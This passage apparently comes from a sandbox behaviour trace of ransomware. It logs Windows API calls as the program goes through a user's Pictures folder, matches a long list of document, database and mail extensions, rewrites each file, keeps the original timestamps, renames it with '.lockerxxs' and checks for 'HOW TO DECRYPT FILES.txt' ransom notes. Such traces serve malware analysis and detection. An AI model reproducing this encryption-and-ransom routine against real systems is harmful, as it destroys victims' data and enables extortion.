HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.txt") returned 0 [0091.027] lstrlenA (lpString="*.txt") returned 5 [0091.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.jpeg") returned 0 [0091.027] lstrlenA (lpString="*.jpeg") returned 6 [0091.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.jpg") returned 0 [0091.027] lstrlenA (lpString="*.jpg") returned 5 [0091.027] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", pszSpec="*.png") returned 1 [0091.027] lstrlenA (lpString="*.png") returned 5 [0091.027] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png" [0091.027] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png" [0091.027] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png." [0091.027] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png.lockerxxs" [0091.027] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\lwgrqt.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0091.028] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9974 [0091.028] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1bd8a310, dwHighDateTime=0x1d5d885), lpLastAccessTime=0x407536*(dwLowDateTime=0x3ce4a9c0, dwHighDateTime=0x1d5e756), lpLastWriteTime=0x40753e*(dwLowDateTime=0x3ce4a9c0, dwHighDateTime=0x1d5e756)) returned 1 [0091.028] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.028] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x994e, lpOverlapped=0x0) returned 1 [0091.031] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png") returned="lwGRQt.png" [0091.031] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.032] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x994e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x994e, lpOverlapped=0x0) returned 1 [0091.032] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.032] CloseHandle (hObject=0x98) returned 1 [0091.032] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\lwgrqt.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\lwgrqt.png.lockerxxs")) returned 1 [0091.034] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65ff5990, ftCreationTime.dwHighDateTime=0x1d5daef, ftLastAccessTime.dwLowDateTime=0xdbc35c50, ftLastAccessTime.dwHighDateTime=0x1d5de49, ftLastWriteTime.dwLowDateTime=0xdbc35c50, ftLastWriteTime.dwHighDateTime=0x1d5de49, nFileSizeHigh=0x0, nFileSizeLow=0x18b79, dwReserved0=0x1d00031e, dwReserved1=0x4e00c4, cFileName="qlduoZIo3 O.png", cAlternateFileName="QLDUOZ~1.PNG")) returned 1 [0091.034] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0091.034] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="qlduoZIo3 O.png") returned -1 [0091.034] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="qlduoZIo3 O.png") returned -1 [0091.034] lstrcmpiA (lpString1="", lpString2="qlduoZIo3 O.png") returned -1 [0091.034] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\lwGRQt.png") returned="lwGRQt.png" [0091.034] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\" [0091.034] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\") returned="" [0091.034] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\HOW TO DECRYPT FILES.txt" [0091.034] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\how to decrypt files.txt")) returned 0x20 [0091.034] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\", lpString2="qlduoZIo3 O.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png" [0091.035] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.ems") returned 0 [0091.035] lstrlenA (lpString="*.ems") returned 5 [0091.035] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.db") returned 0 [0091.035] lstrlenA (lpString="*.db") returned 4 [0091.035] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.dbf") returned 0 [0091.035] lstrlenA (lpString="*.dbf") returned 5 [0091.035] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.myox") returned 0 [0091.035] lstrlenA (lpString="*.myox") returned 6 [0091.035] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.myo") returned 0 [0091.035] lstrlenA (lpString="*.myo") returned 5 [0091.035] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.qbw") returned 0 [0091.035] lstrlenA (lpString="*.qbw") returned 5 [0091.035] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.qbb") returned 0 [0091.035] lstrlenA (lpString="*.qbb") returned 5 [0091.035] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.qbm") returned 0 [0091.035] lstrlenA (lpString="*.qbm") returned 5 [0091.035] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.qbo") returned 0 [0091.036] lstrlenA (lpString="*.qbo") returned 5 [0091.036] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.qbx") returned 0 [0091.036] lstrlenA (lpString="*.qbx") returned 5 [0091.036] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.qba") returned 0 [0091.036] lstrlenA (lpString="*.qba") returned 5 [0091.036] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.qby") returned 0 [0091.036] lstrlenA (lpString="*.qby") returned 5 [0091.036] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.qbj") returned 0 [0091.036] lstrlenA (lpString="*.qbj") returned 5 [0091.036] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.ofx") returned 0 [0091.036] lstrlenA (lpString="*.ofx") returned 5 [0091.036] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.qif") returned 0 [0091.036] lstrlenA (lpString="*.qif") returned 5 [0091.036] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.mye") returned 0 [0091.036] lstrlenA (lpString="*.mye") returned 5 [0091.036] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.mbox") returned 0 [0091.036] lstrlenA (lpString="*.mbox") returned 6 [0091.036] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.eml") returned 0 [0091.036] lstrlenA (lpString="*.eml") returned 5 [0091.036] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.pst") returned 0 [0091.037] lstrlenA (lpString="*.pst") returned 5 [0091.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.ost") returned 0 [0091.037] lstrlenA (lpString="*.ost") returned 5 [0091.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.idx") returned 0 [0091.037] lstrlenA (lpString="*.idx") returned 5 [0091.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.dbx") returned 0 [0091.037] lstrlenA (lpString="*.dbx") returned 5 [0091.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.sql") returned 0 [0091.037] lstrlenA (lpString="*.sql") returned 5 [0091.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.mdb") returned 0 [0091.037] lstrlenA (lpString="*.mdb") returned 5 [0091.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.fdb") returned 0 [0091.037] lstrlenA (lpString="*.fdb") returned 5 [0091.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.wab") returned 0 [0091.037] lstrlenA (lpString="*.wab") returned 5 [0091.037] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.dat") returned 0 [0091.038] lstrlenA (lpString="*.dat") returned 5 [0091.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.txt") returned 0 [0091.038] lstrlenA (lpString="*.txt") returned 5 [0091.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.jpeg") returned 0 [0091.038] lstrlenA (lpString="*.jpeg") returned 6 [0091.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.jpg") returned 0 [0091.038] lstrlenA (lpString="*.jpg") returned 5 [0091.038] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", pszSpec="*.png") returned 1 [0091.038] lstrlenA (lpString="*.png") returned 5 [0091.038] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png" [0091.038] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png" [0091.038] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png." [0091.038] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png.lockerxxs" [0091.038] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\qlduozio3 o.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0091.039] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x18b79 [0091.039] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x65ff5990, dwHighDateTime=0x1d5daef), lpLastAccessTime=0x407536*(dwLowDateTime=0xdbc35c50, dwHighDateTime=0x1d5de49), lpLastWriteTime=0x40753e*(dwLowDateTime=0xdbc35c50, dwHighDateTime=0x1d5de49)) returned 1 [0091.039] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.039] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x18b53, lpOverlapped=0x0) returned 1 [0091.043] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png") returned="qlduoZIo3 O.png" [0091.044] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.044] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x18b53, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x18b53, lpOverlapped=0x0) returned 1 [0091.044] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.045] CloseHandle (hObject=0x98) returned 1 [0091.045] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\qlduozio3 o.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\qlduozio3 o.png.lockerxxs")) returned 1 [0091.046] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a44b0, ftCreationTime.dwHighDateTime=0x1d5d963, ftLastAccessTime.dwLowDateTime=0x9cf2c960, ftLastAccessTime.dwHighDateTime=0x1d5df12, ftLastWriteTime.dwLowDateTime=0x9cf2c960, ftLastWriteTime.dwHighDateTime=0x1d5df12, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f00031c, dwReserved1=0x4e00c4, cFileName="RcqkTT1i C4O9vwjXatN", cAlternateFileName="RCQKTT~1")) returned 1 [0091.046] lstrcmpA (lpString1=".", lpString2="RcqkTT1i C4O9vwjXatN") returned -1 [0091.046] lstrcmpA (lpString1="..", lpString2="RcqkTT1i C4O9vwjXatN") returned -1 [0091.046] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\qlduoZIo3 O.png") returned="qlduoZIo3 O.png" [0091.046] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\", lpString2="RcqkTT1i C4O9vwjXatN" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN" [0091.046] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN") returned 108 [0091.046] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a44b0, ftCreationTime.dwHighDateTime=0x1d5d963, ftLastAccessTime.dwLowDateTime=0x9cf2c960, 